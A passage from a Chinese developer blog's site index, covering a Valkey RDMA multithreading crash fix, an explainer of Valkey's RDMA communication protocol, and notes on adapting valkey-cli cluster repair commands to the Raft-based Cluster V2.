mask的时候出现了一点问题需要处理,就是对于TLS连接，究竟哪里出现了不正常的现象。\n基本测试流程 # pkill -9 -f valkey-server; pkill -9 -f runtest # 首先杀掉原来的进程 make BUILD_TLS=yes -j$(nproc) # 带TLS进行编译 ./utils/gen-test-certs.sh # 生成相应的证书 ./runtest --single tests/unit/io-threads.tcl --tls # 跑这个报错的单测 为了保证和test-ubuntu-latest-cmake-tls是完全一样的，我们的测试流程是：\nrm -rf build-release mkdir -p build-release cd build-release cmake -DCMAKE_BUILD_TYPE=Release .. -DBUILD_TLS=yes -DBUILD_UNIT_GTESTS=yes make -j$(nproc) cd .. 其实就是在TLS在accept阶段的时候，你不应该封死读路径（if判断修正一下即可），这样的话TLS的状态机没有办法往后更新了。 这样处理之后CI就全部正常通过了。\n之后还收到了review：\nprocessClientIOWriteDone(c) → connUpdateState(c-\u0026gt;conn) → updateRdmaState() → connRdmaEventHandler() → read handler → readQueryFromClient() → ... parse/execute ... → beforeNextClient(c) → if (c-\u0026gt;flag.close_asap) freeClient(c); // c is freed → come back to processClientIOWriteDone，try to access c // use-after-free 我们在这个写路径上， 也应当先查询一下ID,然后我们再判断是否存在，防止产生相同的UAF。\n之后再ping一把viktor:\n@zuiderkwast Gentle ping on this one when you have bandwidth — it\u0026#39;s in the Valkey 9.1 board under **Needs Review**. Quick recap since the last round of feedback: - RDMA + IO threads re-entrancy fix via directional `CONN_POSTPONE_READ` / `CONN_POSTPONE_WRITE` (approved by @pizhenwei). - `handleReadJobs` drains `cmd_queue` before resuming transport. - Latest follow-ups: removed blanket RDMA postpone skips (950c32b), inlined the read-done postpone mask (5586e73), and addressed the write-path UAF with post-`connUpdateState()` re-lookup (f842d16). CI is green on the latest commit. No rush at all — just bubbling it up in case it got buried. Thanks! 截至文章写到现在，还是没有merge,但是我们分析的比较清晰了。\n","date":"2026-07-14","externalUrl":null,"permalink":"/zh-cn/valkey/bugfix-multithread-rdma-lockfree-io/","section":"Valkey","summary":"\u003cblockquote\u003e\n\u003cp\u003eIf it\u0026rsquo;s broken, I\u0026rsquo;ll fix it!\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch1 class=\"relative group\"\u003e现在重新引入了一个有意思的问题（背景阐述） \n    \u003cdiv id=\"%E7%8E%B0%E5%9C%A8%E9%87%8D%E6%96%B0%E5%BC%95%E5%85%A5%E4%BA%86%E4%B8%80%E4%B8%AA%E6%9C%89%E6%84%8F%E6%80%9D%E7%9A%84%E9%97%AE%E9%A2%98%E8%83%8C%E6%99%AF%E9%98%90%E8%BF%B0\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E7%8E%B0%E5%9C%A8%E9%87%8D%E6%96%B0%E5%BC%95%E5%85%A5%E4%BA%86%E4%B8%80%E4%B8%AA%E6%9C%89%E6%84%8F%E6%80%9D%E7%9A%84%E9%97%AE%E9%A2%98%E8%83%8C%E6%99%AF%E9%98%90%E8%BF%B0\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cp\u003e描述:\n本次问题解决的是\u003cstrong\u003eRDMA的多线程导致的崩溃问题\u003c/strong\u003e.\n在我们解决这个问题的同时,\u003cstrong\u003e实际上主分支正在重构I/O的模型,我们不知道新的I/O模型是否还会出现这样的问题\u003c/strong\u003e.\n(之后再进行验证)\u003c/p\u003e","title":"多线程下的RDMA的崩溃问题(无锁队列IO模型)","type":"valkey"},{"content":"","date":"2026-07-13","externalUrl":null,"permalink":"/zh-cn/tags/rdma/","section":"Tags","summary":"","title":"Rdma","type":"tags"},{"content":"2.RDMA基本概念\n究竟是如何进行通信的?\nTCP是流式协议(就是字节流),但是RDMA是面向消息(就是element)通信的.\n放弃用双边操作（SEND/RECV）来传输业务数据，而是用双边操作来“交换信令”，用单边操作（WRITE）来“传输数据”。\n[Valkey Client] [Valkey Server (Listen RDMA Port)] | | | ======================== 1. 建立 RDMA 连接 =========================\u0026gt; | | \u0026lt;======================= (RC QP 初始化) ======================== | | | | ================== 2. 交换 Feature 支持 [@IBV_WR_SEND] =============\u0026gt; | | \u0026lt;================= 3. 交换 Feature 支持 [@IBV_WR_SEND] ============== | | | | [阶段 A：初始化远端内存写入权限] 这里都是双边操作 | | \u0026lt;---- 4. Server 发送其 RX Buffer 的地址/长度/R_Key [@IBV_WR_SEND] --- | (Server 执行 ibv_post_recv 准备接收命令) | ---- 5. Client 发送其 RX Buffer 的地址/长度/R_Key [@IBV_WR_SEND] ---\u0026gt; | (Client 执行 ibv_post_recv 准备接收响应) 两边都通过send来发送R_key和内存地址,两边收到之后都可以绕过CPU直接进行读写的操作. | | | [阶段 B：使用 WRITE 进行命令与数据交互] | | --- 6. Valkey Command (如 PING) [@IBV_WR_RDMA_WRITE_WITH_IMM] ------\u0026gt; | (直接写入 Server 内存，触发 IMM 通知 Server CPU) | \u0026lt;--- 7. Valkey Response (如 PONG) [@IBV_WR_RDMA_WRITE_WITH_IMM] ----- | (直接写入 Client 内存，触发 IMM 通知 Client CPU) | --- 8. Valkey Command (如 SET) [@IBV_WR_RDMA_WRITE_WITH_IMM] -------\u0026gt; | | \u0026lt;--- 9. Valkey Response (如 OK) [@IBV_WR_RDMA_WRITE_WITH_IMM] ------- | | | | [阶段 C：处理缓冲区写满 (RX is full)] | | (假设 Client 发现 Server 之前给的 RX Buffer 空间不足了) | | | | \u0026lt;--- 10. Server 重新注册内存并发送新 RX Buffer 信息 [@IBV_WR_SEND] -- | (Server 发现自己消费完了，主动发新 Buffer，并 ibv_post_recv) | --- 11. Valkey Command (恢复发送) [@IBV_WR_RDMA_WRITE_WITH_IMM] ----\u0026gt; | | | | (假设 Server 发现 Client 的 RX Buffer 不足了) | | ---- 12. Client 重新注册内存并发送新 RX Buffer 信息 [@IBV_WR_SEND]-\u0026gt; | (Client 主动发新 Buffer，并 ibv_post_recv) | \u0026lt;--- 13. Valkey Response (恢复发送) [@IBV_WR_RDMA_WRITE_WITH_IMM] --- | | | | ======================== 14. 断开 RDMA 连接 ========================\u0026gt; | 1.什么是IMM消息通知?\n就是一个立即数,下面4会讲解到.\n2.为什么数据传输不使用双边操作?\n在传统的双边操作（SEND/RECV）中，接收端必须先猜到发送端会发多大的数据。 接收端必须调用 ibv_post_recv 挂载一个 RECV WQE（工作请求）。 如果 Redis 客户端发来一个 10 字节的 PING，但服务器挂载了一个 10MB 的接收缓冲区，这是极大的内存浪费；如果服务器挂载了 10 字节的缓冲区，但客户端发来一个 1MB 的 SET KEY VALUE，网卡会直接报 \u0026ldquo;Length Error\u0026rdquo; 并断开 QP 连接。 对于 Redis 这种每次请求长度完全不可预测的流式协议，纯粹的 SEND/RECV 就是一场灾难。 但是如果只是握手的话，提前通信的内容大小就是可以预测的，所以没有关系。\n3.使用单边的WRITE操作来模拟TCP流式协议?\n这里就可以看RDMA的操作类型生动的理解: 3.RDMA操作类型 既然无法预测消息大小，作者的设计思路是：退回 TCP 的本质，自己在应用层维护一个类似 TCP 滑动窗口的虚拟接收缓冲区。 建立大内存池：服务器先注册一块相对较大的内存（比如 1MB），将其视为一个大木桶（Receive buffer）。 信令交换（SEND 操作的作用）：服务器用底层的 SEND 报文，把这个大木桶的“钥匙和地址”（R_Key、虚拟地址、总长度）交还给客户端。 客户端自由写入：客户端手里有了服务器木桶的钥匙，想发多少数据，就直接调用单边操作 RDMA_WRITE 往服务器木桶里的当前偏移量写数据。写 10 字节还是 10 万字节都可以，只要不超过木桶的剩余容量。\n4.IBV_WR_RDMA_WRITE_WITH_IMM 为什么使用这个?\n如果你熟悉 RDMA 单边操作，你会知道纯粹的 RDMA_WRITE 是一次“静默操作”——数据直接写入远端内存，远端网卡不会产生任何完成事件（CQE），远端 CPU 根本不知道数据来了。 如果 Valkey Server 连命令到了都不知道，怎么执行 GET/SET 呢？ 这就是 IBV_WR_RDMA_WRITE_WITH_IMM 发挥作用的地方。它在静默写入数据的同时，允许发送端附加一个 32 位的立即数（Immediate Data）。 当这条指令到达远端网卡并完成内存写入后，远端网卡会被强制唤醒，在 Server 端的完成队列（CQ）里产生一个带有这个立即数的完成事件（CQE）。 (所以我只知道什么时候可读,但是不知道什么时候可写.) 在 Redis 的工程实现中，客户端通常会把写入数据的字节长度放在这个 32 位的 IMM 字段中。 Server 端的 epoll 检测到网卡事件，读取 CQE，一看 IMM 是 25，就知道：“哦，有人往我的木桶里刚刚写入了 25 字节的数据，我赶紧去处理”。 所以数据的传输是单边的操作,作为server,大多数情况下,我知道什么时候能读取,但是不知道什么时候能写入对方的内存.(这部分内存就是我们注册的内存.)\n5.如果写满,还需要进行内存的刷新机制.\n既然是用一段固定大小的内存做流式接收，总有写满的时候。 在这个协议中，Client 会自己记录“Server 的木桶还剩多少空间”。当 Client 发现即将写满时，它必须停下来。 与此同时，Server 在处理完堆积的命令后，发现这块内存用完了，它会重新初始化（或重置）这块内存区域，然后再次发起一次 SEND 操作，告诉 Client：“我的木桶清空了（或者我换了一个新木桶），这是新的起始地址和长度，你继续写吧”。 上述这个RTT的过程会不会带来抖动?是啊，我就是好奇这个问题。\n","date":"2026-07-13","externalUrl":null,"permalink":"/zh-cn/valkey/rdma-valkey-over-rdma-internals/","section":"Valkey","summary":"\u003cp\u003e\u003cstrong\u003e2.RDMA基本概念\u003c/strong\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e究竟是\u003cstrong\u003e如何进行通信\u003c/strong\u003e的?\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eTCP是\u003cstrong\u003e流式协议\u003c/strong\u003e(就是字节流),但是RDMA是\u003cstrong\u003e面向消息\u003c/strong\u003e(就是element)通信的.\u003c/p\u003e\n\u003cp\u003e放弃用双边操作（SEND/RECV）来传输业务数据，而是用双边操作来“交换信令”，用单边操作（WRITE）来“传输数据”。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003eValkey Client\u003cspan class=\"o\"\u003e]\u003c/span\u003e                                               \u003cspan class=\"o\"\u003e[\u003c/span\u003eValkey Server \u003cspan class=\"o\"\u003e(\u003c/span\u003eListen RDMA Port\u003cspan class=\"o\"\u003e)]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                                                                       \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e========================\u003c/span\u003e 1. 建立 RDMA \u003cspan class=\"nv\"\u003e连接\u003c/span\u003e \u003cspan class=\"o\"\u003e=========================\u003c/span\u003e\u0026gt;  \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u0026lt;\u003cspan class=\"o\"\u003e=======================\u003c/span\u003e    \u003cspan class=\"o\"\u003e(\u003c/span\u003eRC QP 初始化\u003cspan class=\"o\"\u003e)\u003c/span\u003e   \u003cspan class=\"o\"\u003e========================\u003c/span\u003e  \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                                                                       \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e==================\u003c/span\u003e 2. 交换 Feature 支持 \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_SEND\u003cspan class=\"o\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=============\u003c/span\u003e\u0026gt;  \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u0026lt;\u003cspan class=\"o\"\u003e=================\u003c/span\u003e 3. 交换 Feature 支持 \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_SEND\u003cspan class=\"o\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==============\u003c/span\u003e  \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                                                                       \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                     \u003cspan class=\"o\"\u003e[\u003c/span\u003e阶段 A：初始化远端内存写入权限\u003cspan class=\"o\"\u003e]\u003c/span\u003e 这里都是双边操作        \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u0026lt;---- 4. Server 发送其 RX Buffer 的地址/长度/R_Key \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_SEND\u003cspan class=\"o\"\u003e]\u003c/span\u003e ---   \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003eServer 执行 ibv_post_recv 准备接收命令\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e ---- 5. Client 发送其 RX Buffer 的地址/长度/R_Key \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_SEND\u003cspan class=\"o\"\u003e]\u003c/span\u003e ---\u0026gt;   \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003eClient 执行 ibv_post_recv 准备接收响应\u003cspan class=\"o\"\u003e)\u003c/span\u003e 两边都通过send来发送R_key和内存地址,两边收到之后都可以绕过CPU直接进行读写的操作.\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                                                                       \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                     \u003cspan class=\"o\"\u003e[\u003c/span\u003e阶段 B：使用 WRITE 进行命令与数据交互\u003cspan class=\"o\"\u003e]\u003c/span\u003e           \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e --- 6. Valkey Command \u003cspan class=\"o\"\u003e(\u003c/span\u003e如 PING\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_RDMA_WRITE_WITH_IMM\u003cspan class=\"o\"\u003e]\u003c/span\u003e ------\u0026gt; \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003e直接写入 Server 内存，触发 IMM 通知 Server CPU\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u0026lt;--- 7. Valkey Response \u003cspan class=\"o\"\u003e(\u003c/span\u003e如 PONG\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_RDMA_WRITE_WITH_IMM\u003cspan class=\"o\"\u003e]\u003c/span\u003e ----- \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003e直接写入 Client 内存，触发 IMM 通知 Client CPU\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e --- 8. Valkey Command \u003cspan class=\"o\"\u003e(\u003c/span\u003e如 SET\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_RDMA_WRITE_WITH_IMM\u003cspan class=\"o\"\u003e]\u003c/span\u003e -------\u0026gt; \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u0026lt;--- 9. Valkey Response \u003cspan class=\"o\"\u003e(\u003c/span\u003e如 OK\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_RDMA_WRITE_WITH_IMM\u003cspan class=\"o\"\u003e]\u003c/span\u003e ------- \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                                                                       \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                     \u003cspan class=\"o\"\u003e[\u003c/span\u003e阶段 C：处理缓冲区写满 \u003cspan class=\"o\"\u003e(\u003c/span\u003eRX is full\u003cspan class=\"o\"\u003e)]\u003c/span\u003e             \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003e假设 Client 发现 Server 之前给的 RX Buffer 空间不足了\u003cspan class=\"o\"\u003e)\u003c/span\u003e               \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                                                                       \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u0026lt;--- 10. Server 重新注册内存并发送新 RX Buffer 信息 \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_SEND\u003cspan class=\"o\"\u003e]\u003c/span\u003e -- \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003eServer 发现自己消费完了，主动发新 Buffer，并 ibv_post_recv\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e --- 11. Valkey Command \u003cspan class=\"o\"\u003e(\u003c/span\u003e恢复发送\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_RDMA_WRITE_WITH_IMM\u003cspan class=\"o\"\u003e]\u003c/span\u003e ----\u0026gt; \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                                                                       \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003e假设 Server 发现 Client 的 RX Buffer 不足了\u003cspan class=\"o\"\u003e)\u003c/span\u003e                         \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e ---- 12. Client 重新注册内存并发送新 RX Buffer 信息 \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_SEND\u003cspan class=\"o\"\u003e]\u003c/span\u003e-\u0026gt; \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e(\u003c/span\u003eClient 主动发新 Buffer，并 ibv_post_recv\u003cspan class=\"o\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u0026lt;--- 13. Valkey Response \u003cspan class=\"o\"\u003e(\u003c/span\u003e恢复发送\u003cspan class=\"o\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e[\u003c/span\u003e@IBV_WR_RDMA_WRITE_WITH_IMM\u003cspan class=\"o\"\u003e]\u003c/span\u003e --- \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e                                                                       \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e|\u003c/span\u003e \u003cspan class=\"o\"\u003e========================\u003c/span\u003e 14. 断开 RDMA \u003cspan class=\"nv\"\u003e连接\u003c/span\u003e \u003cspan class=\"o\"\u003e========================\u003c/span\u003e\u0026gt; \u003cspan class=\"p\"\u003e|\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003e1.什么是IMM消息通知?\u003c/strong\u003e\u003c/p\u003e","title":"valkey Over RDMA技术原理","type":"valkey"},{"content":"","date":"2026-07-13","externalUrl":null,"permalink":"/zh-cn/tags/feature/","section":"Tags","summary":"","title":"Feature","type":"tags"},{"content":" 也是非常有趣的话题，最近valkey引入了Raft算法。\n这个 PR 解决的是：Raft 集群里，服务端对拓扑变更命令的执行模型变了， 但 valkey-cli --cluster fix 还在用旧的 gossip 事务模型发命令，两者不兼容。\nhttps://github.com/valkey-io/valkey/issues/3856 可以来学习一下。\nstart # 首先切换的最新的上游分支：\n# 拉取上游最新改动 git fetch upstream # 基于上游的 cluster-v2 分支，在本地创建一个同名分支并切换过去 git checkout -b cluster-v2 upstream/cluster-v2 # 你还可以在自己的仓库内部保存一下进度 git push -u origin cluster-v2 因为整体难度比较大，或者涉及的东西比较多，我们需要进行学习，一些背景知识的扩充。 首先是特性：主从复制原理：\n主题 学什么 和 Cluster V2 的关系 主从复制（Replication） REPLICAOF、复制流、offset、INFO replication 每个 shard 里仍是 1 个 primary + N 个 replica；failover 换的是 shard 的 primary，不是 Raft leader 复制故障切换（Sentinel，可选但推荐） Sentinel 监控主、投票选新主、客户端怎么发现新主 帮助理解「数据面选主」；#384 里提到 V2 想和 Sentinel 概念合并，但实现不同 异步 vs 同步复制（概念） 默认异步可能丢尾部写；sync 要 quorum ack 理解为什么还要有 #3869 sync replication；Raft 只保证拓扑一致，不保证数据不丢 然后你肯定要理解Raft-Extended Version 1-5 详解算法，这样才能进一步理解整个feature.\n这是我们需要解决的Raft Cluster: valkey-cli --cluster Tooling Compatibility\nWorkflow # 这是我们第一次和社区进行合作开发. 先进行这个feature分支的同步操作:\ngit fetch upstream git checkout cluster-v2 git merge upstream/cluster-v2 # 或 git rebase upstream/cluster-v2 直接reset到upstream的最新代码：\n# 1. 退出当前 rebase，恢复 rebase 前状态 git rebase --abort # 2. 确认 upstream 最新 git fetch upstream # 3. 将本地 cluster-v2 硬重置到 upstream（本地无独有 commit 时安全） git checkout cluster-v2 git reset --hard upstream/cluster-v2 然后我们建一个新的功能分支:\ngit checkout -b cli-raft-fix-3867 # 之后就在这个上面进行开发 保证我们远程和origin仓库和upstream也是保持一致的：\ngit push --force-with-lease origin cluster-v2 先理解一下背景 # --cluster fix 在修什么? # valkey-cli --cluster fix 用来修复集群拓扑异常，常见场景包括：\n某个 slot 没有 owner（uncovered） 多个节点同时声称拥有同一个 slot slot 卡在 migrating / importing 中间状态（half-migration） 核心操作之一是：把某个 slot 的 ownership 明确赋给某个 primary， 即调用 clusterManagerSetSlotOwner()：\nCLUSTER DELSLOTS \u0026lt;slot\u0026gt; # 从当前节点摘掉（可能已是 unassigned，可忽略） CLUSTER ADDSLOTS \u0026lt;slot\u0026gt; # 正式赋给目标节点 CLUSTER SETSLOT \u0026lt;slot\u0026gt; STABLE # 可选，清掉 migrating/importing 状态 我给某个主机发这些命令就能达到这样的效果。\nfix 里多个路径都会走到这个函数，例如 clusterManagerFixOpenSlot()、clusterManagerFixSlotsCoverage() 等。 这里就是处理有些slot没被覆盖的情况。\nGossip 时代：为什么用 MULTI/EXEC # 所谓的“事务”。\n在 gossip 集群（cluster-protocol gossip，即传统 Redis Cluster）里，拓扑变更大致是：\n各节点本地改 slot 表 通过 gossip 传播 用 config epoch 解决冲突 valkey-cli 希望这几步原子地完成，避免中间态被其他操作看到，所以 clusterManagerSetSlotOwnerGossip() 走事务：\nstatic int clusterManagerSetSlotOwnerGossip(clusterManagerNode *owner, int slot, int do_clear) { // 发送事务，然后执行。 int success = clusterManagerStartTransaction(owner); if (!success) return 0; clusterManagerDelSlot(owner, slot, 1); clusterManagerAddSlot(owner, slot); if (do_clear) clusterManagerClearSlotStatus(owner, slot); clusterManagerBumpEpoch(owner); success = clusterManagerExecTransaction(owner, clusterManagerOnSetOwnerErr); return success; } 实际上对应的命令行序列就是这样:\n比如你想要修改节点，会先进行积压，然后受到EXEC的时候一口气执行，不想要中间态。\nMULTI CLUSTER DELSLOTS 609 → QUEUED CLUSTER ADDSLOTS 609 → QUEUED CLUSTER SETSLOT 609 STABLE → QUEUED（可选） CLUSTER BUMPEPOCH → QUEUED EXEC → 一次性执行，返回数组 在 gossip 下，CLUSTER ADDSLOTS / DELSLOTS 是同步命令： 处理完立刻 +OK，不 block 客户端。MULTI/EXEC 在这里是合理优化。\n1. V1 的旧玩法：为什么以前要用 MULTI/EXEC？ # 在目前的 Gossip 架构下，当你使用 valkey-cli --cluster create 或者 rebalance 去组建/调整集群时，CLI 工具需要向特定的节点发送一连串的拓扑修改命令（比如分配一堆槽位、设置 Epoch 等）。 为了保证这一批配置命令的原子性（要么全成功，要么全失败），valkey-cli 在 C 代码里把它们包裹在了一个事务块里：\n发送 MULTI（开启事务，这个叫事物是因为我一次会执行多条命令） 发送 CLUSTER ADDSLOTS 0 1 2 ... 发送 CLUSTER SET-CONFIG-EPOCH 1 发送 EXEC（一次性执行） 在这个阶段，节点处理这些命令是完全同步且纯内存的操作。 主线程一口气执行完，中间不发生任何网络 I/O 等待，所以非常丝滑。 就是你发送给了一个机器来解决这个问题，这个机器的主线程不需要等待同步，自己一修改拓扑，之后gossip自己就会传播这个拓扑。 比如你想要达到的状态需要很多的命令，如果不使用事务，就可能会引入很多的中间状态。\n2. V2 的新矛盾：为什么 Raft 拒绝了 MULTI/EXEC？ # 引入 Raft（Cluster V2）之后，拓扑变更是大事，不能单方面决定了。\n因为Raft需要等待多数派回复，我们不能等这个卡死。拓扑修改成了大事，不能是leader随便修改的。\n当节点收到 CLUSTER ADDSLOTS 时，它不能直接在内存里改完就返回。它必须：\n把这个槽位变更作为一个提案（Proposal）写入自己的 Raft 日志。 通过网络把日志广播给其他 Follower 节点。 挂起（Block）当前客户端的请求，等待多数派（Quorum）返回确认。 收到多数派确认后，应用到内存状态机，最后向客户端返回 OK。 在 Valkey 的底层，这种需要挂起等待异步事件（比如网络回包）的操作，被标记为 BLOCKED_ASYNC。\n核心冲突点来了： Valkey 的核心事件循环是单线程的。 MULTI/EXEC 的语义是“独占主线程，一口气执行完所有命令，期间绝对不交出 CPU 控制权”。\nGossip可以直接执行，然后之后再慢慢达成共识，但是Raft需要等待执行完毕才行。\n如果允许一个 BLOCKED_ASYNC 的命令在 MULTI 块里执行， 它就会在等待 Raft 网络共识的过程中， 把整个 Valkey 节点的主线程冻结（Freeze）住， 其他所有客户端的请求全都会被卡死。\n为了防止这种灾难，Valkey 服务端在底层直接写死了防御逻辑： 任何被标记为 